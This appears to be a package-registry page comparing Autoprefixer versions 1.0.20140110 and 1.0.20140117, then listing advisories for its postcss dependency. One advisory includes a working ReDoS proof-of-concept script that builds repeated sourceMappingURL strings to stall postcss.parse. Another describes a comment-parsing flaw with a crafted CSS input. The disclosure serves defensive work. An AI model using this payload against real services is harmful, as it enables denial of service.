Autoprefixer is a valuable tool for web developers, automatically adding vendor prefixes to CSS rules based on data from "Can I Use," ensuring cross-browser compatibility without manual prefix management. Comparing versions 1.0.20140110 and 1.0.20140117 reveals subtle but potentially important updates. Both versions share the same core functionality (parsing CSS and adding vendor prefixes), description, dependencies (postcss and fs-extra), development dependencies (like nib, mocha, should, and stylus), license (MIT), repository, and author information.
The primary difference lies in the version number and release date. Version 1.0.20140117 was released on January 16, 2014, whereas the previous version, 1.0.20140110, was released on January 10, 2014. The newer version includes an updated version of the browserify dev dependency bumped from browserify 3.19.1 to 3.20.0. While seemingly minor, this update might incorporate bug fixes, performance improvements, or new features within Browserify, the tool used for bundling JavaScript modules for the browser.
Developers choosing between these versions should consider whether the Browserify update addresses any specific issues in their workflow. If Browserify isn't a critical component, either version should suffice. However, staying with the latest patch release (1.0.20140117) is generally recommended for potential improvements within its build environment.
All the vulnerabilities related to the version 1.0.20140117 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.